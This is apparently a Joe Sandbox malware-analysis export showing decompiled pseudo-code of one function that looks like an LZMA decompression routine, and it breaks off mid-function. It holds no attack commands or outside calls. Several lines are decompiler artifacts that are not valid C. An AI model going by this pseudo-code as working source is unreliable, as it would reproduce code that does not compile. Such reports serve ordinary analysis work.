Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406EAF() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M00407395))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4));
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8));
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
